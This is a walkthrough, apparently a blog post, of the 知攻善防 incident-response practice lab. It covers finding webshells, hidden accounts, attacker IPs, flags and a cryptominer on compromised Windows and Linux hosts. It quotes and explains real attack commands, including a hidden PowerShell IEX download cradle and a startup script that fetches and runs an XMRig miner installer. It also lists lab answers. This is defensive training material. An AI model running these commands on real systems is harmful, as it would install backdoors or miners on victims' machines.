应急响应-知攻善防应急响应靶场

前置环境

报错不兼容

image-20251226142537330

开启靶机后关闭防火墙

image-20251226142558668

Web1

前景需要:
小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,这是他的服务器系统,请你找出以下内容,并作为通关条件:

1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名

用户:
administrator
密码
Zgsf@admin.com

攻击者的shell密码

rebeyond

webshell在网站根目录,上传D盾扫描

image-20251226144010556

image-20251226144142887

攻击者的IP地址

192.168.126.1

找到shell.php文件之后,用户上传了该文件,分析web日志

Apache日志文件目录:

C:\phpstudy_pro\Extensions\Apache2.4.39\logs

搜索shell.php文件,存在大量访问shell.php的日志,并且ip为192.168.126.1

image-20251226145404464

攻击者的隐藏账户名称

hack168$

隐藏账户查看注册表

HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User

默认无法查看其中内容

image-20251226145753822

右键菜单选择权限,打开权限管理窗口,权限勾选为完全控制,关闭,再次打开注册表

image-20251226150410930

或者powershell

Get-LocalUser

image-20251226150817807

攻击者挖矿程序的矿池域名

wakuang.zhigongshanfang.top

当前为administrator用户,直接修改隐藏用户的密码

net user hack168$ 123456aa@

找到exe

image-20251226152740067

反编译

E:\web\应急响应\蓝队应急响应工具箱\_internal\tools\BT-Reverse\pyinstaller逆向工具>python pyinstxtractor.py Kuang.exe

image-20251226152817204

image-20251226153050278

在线网站pyc转py

得到源码py

image-20251226153147206

Web2

1.攻击者的IP地址(两个)?
2.攻击者的webshell文件名?
3.攻击者的webshell密码?
4.攻击者的QQ号?
5.攻击者的服务器伪IP地址?
6.攻击者的服务器端口?
7.攻击者是如何入侵的(选择题)?
8.攻击者的隐藏用户名?

用户:administrator
密码:Zgsf@qq.com

攻击者的IP地址(两个)

192.168.126.135
192.168.126.129

D盾扫描,web目录下存在后门文件

image-20251226164133199

查看web日志

存在访问后门的ip地址,找到第一个ip:192.168.126.135

image-20251226163556590

使用系统日志分析工具

在远程桌面登录成功日志查看到hack887$用户曾登录过,ip为192.168.126.129,为第二个攻击ip

image-20251228160019815

攻击者的webshell文件名

system.php

攻击者的webshell密码

hack6618

哥斯拉马

image-20251228161804171

攻击者的QQ号

777888999321

在查看文档目录时发现,存在qq文件夹,攻击者在此登录过QQ留下的痕迹

image-20251228162025634

攻击者登录过的QQ号

image-20251228162103793

攻击者的服务器伪IP地址

256.256.66.88:65536

查看文件传输的内容

image-20251228162145860

发现隧道搭建frp工具

image-20251228162254897

查看frp配置文件发现攻击者ip

image-20251228162319359

攻击者是如何入侵的(选择题)

ftp

image-20251228162718962

已经得知攻击者留有后门system.php,我们需要知道攻击者如何上传该文件的

在日志文件中,13:02是第一次GET system.php就为200,再次之前没有看到POST上传system.php,因此非web攻击

image-20251228162913677

查看mysql配置文件

image-20251228163433493

没有找到日志相关配置文件

[mysqld]
log-error="C:/phpstudy_pro/Extensions/MySQL5.7.26/data/error.log" # 错误日志路径
general_log_file="C:/phpstudy_pro/Extensions/MySQL5.7.26/data/mysql.log" # 通用查询日志(需启用)
slow_query_log_file="C:/phpstudio_pro/Extensions/MySQL5.7.26/data/slow.log" # 慢查询日志(需启用)

并没有配置日志,由于是靶场,排除

在实际攻击环境中,需要考虑是否为攻击者修改配置文件or删除日志?

查看ftp日志:

C:\phpstudy_pro\Extensions\FTP0.9.60\Logs

image-20251228163947645

image-20251228164037583

确定为ftp攻击

攻击者13:01时ftp上传的该文件,而rdp是在13.28,排除rdp

image-20251228164321895

Web3

用户:administrator
密码:xj@123456

前景需要:小苕在省护值守中,在灵机一动情况下把设备停掉了,甲方问:为什么要停设备?小苕说:我第六感告诉我,这机器可能被黑了。
这是他的服务器,请你找出以下内容作为通关条件:

攻击者的两个IP地址
攻击者隐藏用户名称
三个攻击者留下的flag

攻击者的两个IP地址

192.168.75.129
192.168.75.130

D盾扫描发现存在两个后门文件

image-20251228165945757

都是php一句话木马

image-20251228170025618

查看web日志,得到ip 192.168.75.129

image-20251228170855930

隐藏用户登录ip 192.168.75.130

image-20251228170421747

攻击者隐藏用户名称

hack6618$

powershell运行

get-localuser

image-20251228170229245

三个攻击者留下的flag

flag{zgsfsys@sec}
flag{888666abc}
flag{H@Ck@sec}

web日志分析时,11:22第一次访问404.php,此时响应404

image-20251228171043530

第二次访问11:33,此时已经存在404.php

image-20251228171135447

在其中我们发现请求:/zb_users/theme/aymFreeFive/template/%7B$slides[‘img’]%7D

疑似攻击者进行了模版注入,虽然响应为404,但大概率通过这种方式已经成功写文件404.php了

查看计划任务,发现flag

image-20251228171843536

修改hack6618$用户的密码

net user hack6618$ 密码

image-20251228171910377

切换登录到该用户

发现该用户的下载处存在system.bat文件,文件内容为写入一句话木马到404.php中

并且获取到flag

image-20251228172158394

继续分析web日志

11:25时,推测攻击者进入了后台

image-20251228172600408

为zblog

image-20251228173054997

使用zblog密码找回工具

image-20251228173240432

image-20251228173305120

发现存在两个用户,将Hacker用户密码重置并登录

发现flag

image-20251228173500412

linux1

相关账户密码:
defend/defend
root/defend
前景需要:小王急匆匆地找到小张,小王说"李哥,我dev服务器被黑了",快救救我!!

Dev服务器作用:

分类 具体作用 典型场景 与其他环境(如生产环境)的差异
代码开发 提供运行环境供开发人员编写、调试代码,支持实时修改与测试。 - 本地代码运行测试 - 调试接口或服务逻辑 允许频繁重启或中断操作,生产环境需高稳定性。
功能测试 验证新功能或模块的可用性,确保代码逻辑正确。 - 新功能联调 - 数据库迁移测试 使用模拟数据,生产环境处理真实用户数据。
安全测试 模拟攻击行为(如渗透测试)或验证安全补丁,避免漏洞影响生产环境。 - 漏洞扫描 - 权限配置验证 安全策略可能放宽,但需隔离生产网络。
协作与版本控制 支持多开发者协作开发,集成版本控制工具(如Git),管理代码分支与合并。 - 团队协同开发 - 代码冲突解决 允许实验性代码提交,生产环境仅部署稳定版本。
工具链集成 集成开发工具(IDE)、自动化测试框架(如Jenkins)、依赖管理(如Maven)等。 - 自动化构建部署 - 单元测试/集成测试运行 工具链灵活性高,生产环境需最小化工具依赖。
数据模拟 使用生成或脱敏的测试数据,避免生产数据泄露或污染。 - 数据库压力测试 - 用户行为模拟 数据无真实业务价值,生产数据需严格保护。
环境隔离 独立于生产网络,防止开发中的错误或攻击影响线上服务。 - 开发环境与生产环境分离 - 微服务独立调试 网络策略宽松,生产环境需严格防火墙规则。

image-20251228175428548

192.168.75.129
flag{thisismybaby}
flag{kfcvme50}
flag{P@ssW0rd_redis}

账户

避免权限不足,使用root

查看是否存在异常账户:cat /etc/passwd
查看特权账户:awk -F: '$3==0 {print $1}' /etc/passwd
查看远程登录用户:awk '/\$1|\$6/{print $1}' /etc/shadow
查看空口令账户:awk -F: 'length($2)==0 {print $1}' /etc/shadow

无异常情况

image-20251228181632687

端口/进程/网络连接

无异常情况

历史命令

history
一般是先备份再查看

image-20251228182643147

普通用户的历史命令未发现信息,root用户历史命令中发现信息

发现flag:flag{thisismybaby}

image-20251228182026804

并且这里在历史命令中发现他修改了rc.local开机自启动

查看修改的该文件

得到flag

image-20251228182944701

定时任务

无异常

image-20251228183155955

日志

未发现Apache、Nginx等,发现redis

image-20251228183438553

进入查看日志

查看redis连接成功的信息:grep "Accepted " /var/log/redis/redis.log

image-20251228183719138

192.168.75.129即为攻击者攻击ip

查看文件

redis被连接了,可能redis相关文件被更改了

查看redis配置文件

/etc/redis.conf

image-20251228184309939

Linux2

前景需要:看监控的时候发现webshell告警,领导让你上机检查你可以救救安服仔吗!!
1,192.168.20.1
2,提交攻击者修改的管理员密码(明文)
3,提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)
3,提交Webshell连接密码
4,提交数据包的flag1
5,提交攻击者使用的后续上传的木马文件名称
6,提交攻击者隐藏的flag2
7,提交攻击者隐藏的flag3

相关账户密码:root/Inch@957821.

无图形化界面

image-20251228190307790

远程连接

image-20251228190710355

1,192.168.20.1
2,Network@2020
3,index.php?user-app-register
3,Network2020
4,
5,冰蝎
6,flag2=flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
7,flag3 = flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

数据包

当前用户目录下存在数据包,下载到本地分析提示文件损坏无法打开

image-20251228214101212

尝试修复没修复成功

账户

无异常

image-20251228190856300

历史命令

下载了宝塔

image-20251228191019787

可以看到历史命令中修改了文件

查看文件得到flag2

flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

image-20250405184651824

找到flag3

image-20251228191053239

查看服务

由于下载了宝塔,查看服务是否开启宝塔服务

service --status-all

image-20251228191225004

开启了宝塔,此外还开启了mysql、Nginx、php

宝塔面板

修改宝塔密码

image-20251228191453038

查看宝塔端口信息

image-20251228191716056

登录宝塔

image-20251228191801994

宝塔中存在一个网站

添加域名为当前ip

image-20251228212101169

访问http://192.168.139.133/

image-20251228212147460

日志

分析web日志

image-20251228215432203

涉及的ip有

192.168.20.1
192.168.20.131

源文件在/www/wwwlogs/127.0.0.1.log中

最后确定可以在流量包里推测出攻击ip为192.168.20.1,流量包里全都是192.168.20.1向192.168.20.144的请求包,大多数都没有成功

数据库

要知道攻击者修改的管理员密码,前面知道网站开了mysql,可以连进数据库查看密码

image-20251228220444220

phpMyadmin连接

image-20251228221010600

image-20251228221324762

密码为:Network@2020

文件

搜索网站目录下webshell

image-20251228212626296

网站目录为/www/wwwroot/127.0.0.1

搜索webshell可疑文件

grep -irn '@eval(' /www

定位到了两个文件

register.html和blocks_modify.html

image-20251228221635092

这里分析数据包追踪流即可知道webshell的请求url与密码信息

登录后台可以看到写入了webshell

image-20251228222231142

也就是对应前台的注册协议

image-20251228222311364

webshell的url:http://192.168.139.133/index.php?user-app-register

密码在文件内容也可以看到为:Network2020

靶机中有wireshark流量包,进行追踪流分析:

image-20250405183314689

在数据流27之前的webshell都是与user-app-register注册协议交互,根据流量特征分析使用的工具为蚁剑:

image-20250405183545319

可以解码查看这里POST的请求:

image-20250405183945392

之后的都是冰蝎流量特征了,也能看出请求的webshell名称:

image-20250405184124212

近源OS

相关账户密码
Administrator
zgsf@2024

前景需要:小王从某安全大厂被优化掉后,来到了某私立小学当起了计算机老师。某一天上课的时候,发现鼠标在自己动弹,又发现除了某台电脑,其他电脑连不上网络。感觉肯定有学生捣乱,于是开启了应急。

近源渗透(Close-Source Penetration 或 Physical Proximity-Based Penetration)是一种网络安全攻击或测试手段,其核心特点是攻击者(或渗透测试人员)通过物理接近目标,结合技术手段与物理接触,突破目标的安全防线。与传统远程网络渗透不同,近源渗透更依赖对目标物理环境、周边设备或人员的直接接触或近距离交互。

1.攻击者的外网IP地址
2.攻击者的内网跳板IP地址
3.攻击者使用的限速软件的md5大写
4.攻击者的后门md5大写
5.攻击者留下的flag

攻击者的外网IP地址

8.219.200.130

桌面存在多个文件

image-20251228233848932

将文件放入沙箱查看

image-20251228235147980

image-20251228235139903

office宏

并且网络行为中向境外ip发起了http请求,猜测该ip为攻击者ip

image-20251228235242611

image-20251228235417363

攻击者的内网跳板IP地址

192.168.20.129

在桌面的phpStudy-修复的文件,尝试编辑会发现:

image-20250405191826040

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.20.129:801/a'))"
参数/组件 全称/解释 作用 示例/细节
powershell.exe PowerShell命令行工具 启动PowerShell环境 基础执行程序
-nop -NoProfile 不加载用户配置文件(加快启动,避免用户脚本干扰) 跳过$PROFILE配置
-w hidden -WindowStyle Hidden 隐藏PowerShell窗口(避免用户察觉) 可选值:NormalMinimizedMaximizedHidden
-c -Command 指定要执行的命令字符串 后接需执行的代码
IEX Invoke-Expression(别名) 执行字符串中的代码(动态解析并运行) 常用于执行远程脚本或动态生成的代码
new-object net.webclient 创建System.Net.WebClient对象 提供HTTP客户端功能,用于网络请求 替代方案:Invoke-WebRequest(PowerShell 3.0+)
.downloadstring('URL') 从指定URL下载字符串内容 获取远程服务器上的数据(此处为脚本代码) 目标URL为http://192.168.20.129:801/a(可能为内网攻击载荷)
完整命令意图 隐藏窗口启动PowerShell,跳过配置文件,下载并执行远程脚本 典型渗透测试或恶意软件行为,用于隐蔽执行未经授权的代码 实际用途可能是植入后门、横向移动、信息窃取等

内网ip为192.168.20.129

攻击者使用的限速软件的md5大写

查看该文件属性,创建时间和访问时间为同一天

image-20251229003143636

查找 2024-05-06 创建的文件,输出到txt文件

#直接输出中文会乱码,先设置控制台编码再查找输出
chcp 65001
dir /TC /O-D /S | findstr "2024/05/06" > 1.txt
/TC:以通用格式显示文件的创建时间。
/O-D:按照创建时间降序排列。
/S:递归地搜索所有子目录。

image-20251229003624091

关注在创建宏文档之后创建的exe

也就是2025/05/06 15:18:10后创建的

image-20251229003914231

通过百度搜索,p2pover可限制带宽

img

可疑文件

img

查看目录也可以发现

C:\PerfLogs\666\666\777\666\666\666\666\666\666\666\666\666\666\666

目录存在该文件

image-20251229004239310

提取md5

image-20251229004547943

2a5d8838bdb4d404ec632318c94adc96

小写转大写使用notepad即可

image-20251229004617330

攻击者的后门md5大写

检查启动项、计划任务、服务未发现异常,排查shift后门时(连续点击shift键5次),发现攻击者留的后门

image-20251229004904738

应用为sethc.exe

找到该应用

image-20251229005025829

提取md5

image-20251229005200070

攻击者留下的flag

flag也在shift后门中

挖矿事件

前景需要:机房运维小陈,下班后发现还有工作没完成,然后上机器越用越卡,请你帮他看看原因。

相关账户密码:
Administrator/zgsf@123

攻击者的 IP 地址;192.168.115.131
攻击者开始攻击的时间;2024-05-21 20:25:22
攻击者攻击的端口;3389
挖矿程序的 MD5;ee9c5ea77fef2f1df18de61029199168
后门脚本的 MD5;8414900f4c896964497c2cf6552ec4b9
矿池的 URL;c3pool.org
钱包的 URL;4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y
攻击者入侵流程;

挖矿事件,第一步分析异常进程和CPU

发现存在一个占用CPU异常高

image-20251229230212372

xmrig.exe

XMRig 是一款开源的加密货币挖矿软件,主要用于挖掘Monero (XMR),一种专注于隐私的数字货币。它支持RandomX, CryptoNight, AstroBWT和Argon2挖掘算法,这些算法针对CPU和GPU性能进行了优化。XMRig由于其高效和可配置性而被广泛使用,但它也因嵌入恶意软件和用于非法加密劫持活动的脚本而臭名昭著。攻击者通常将XMRig部署在已被入侵的机器上,以秘密挖掘Monero,利用其匿名交易特性隐藏踪迹。

确定为挖矿程序,计算md5

工具可以直接查看路径以及MD5

image-20251229231020107

既然已经传挖矿程序了,那就是已经拿到shell了,分析系统日志

先是登录失败,后来是登录成功,

image-20251229231130418

image-20251229231153962

攻击者ip为192.168.115.131

并且可以看到从2024-05-21 20:25:22开始有登录失败的日志,说明攻击者开始攻击时间为:2024-05-21 20:25:22

攻击者刚开始20:25:22登录失败,登录类型为3,是通过网络连接登录

20:25:22登录成功,此时登录类型仍为3,也是通过网络连接登录

查看RDP登录,发现攻击者在20:25:22 以及之后通过RDP登录

image-20251229232523290

RDP默认端口为3389,攻击者攻击端口为3389

火绒剑分析启动项,存在systems.bat文件

image-20251229233416715

使用hawkeye也可以

查看该文件

image-20251229233540820

powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y; Remove-Item -Force $tempfile"

分析:

1. 命令分解

powershell

# 创建WebClient对象用于下载文件
$wc = New-Object System.Net.WebClient;

# 在临时目录创建临时文件,扩展名为.bat
$tempfile = [System.IO.Path]::GetTempFileName();
$tempfile += '.bat'; # 最终文件类似:C:\Users\xxx\AppData\Local\Temp\tmp1234.tmp.bat

# 从指定URL下载文件到临时bat文件
$wc.DownloadFile('https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile);

# 执行下载的bat文件,并传递一个参数(疑似钱包地址)
& $tempfile 4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y;

# 执行后删除bat文件(清理痕迹)
Remove-Item -Force $tempfile

2. 关键发现

钱包地址

text

4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y
  • 这是Monero(门罗币)的钱包地址
  • C3Pool是一个知名的加密货币矿池

下载的BAT文件

  • 来自:https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.bat
  • 文件名明确表明是矿工安装程序

该bat为攻击者留下的后门文件,内容为启动时执行该bat,进而下载并执行一个挖矿木马安装脚本

计算md5

C:\Users\Administrator\AppData>CertUtil -hashfile systems.bat MD5
MD5 的 systems.bat 哈希:
8414900f4c896964497c2cf6552ec4b9
CertUtil: -hashfile 命令成功完成。

矿池(Mining Pool)是指一种由多个矿工(矿机)组成的集体,通过共享算力共同挖掘加密货币(如比特币、门罗币等),然后按照各自贡献的算力分配奖励的方式。

矿池的运作流程

  1. 你连接到矿池服务器(比如 c3pool.org);
  2. 矿池给你分配任务(一个区块的子任务);
  3. 你用自己的 CPU/GPU 进行计算(挖矿);
  4. 计算结果上传回矿池;
  5. 矿池中有人挖中一个区块,所有人按贡献分红;
  6. 收益打到你提供的钱包地址。

则矿池地址为c3pool.org

image-20251229234348675

钱包地址为:4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y

image-20251229234510068

攻击者的攻击流程,由于并没有开启web服务等其他服务,并且存在RDP大量登录失败的信息,推测攻击者应该为RDP暴力破解进入主机,进入主机之后留下后门systems.ba并添加启动项,从而在受害者主机挖矿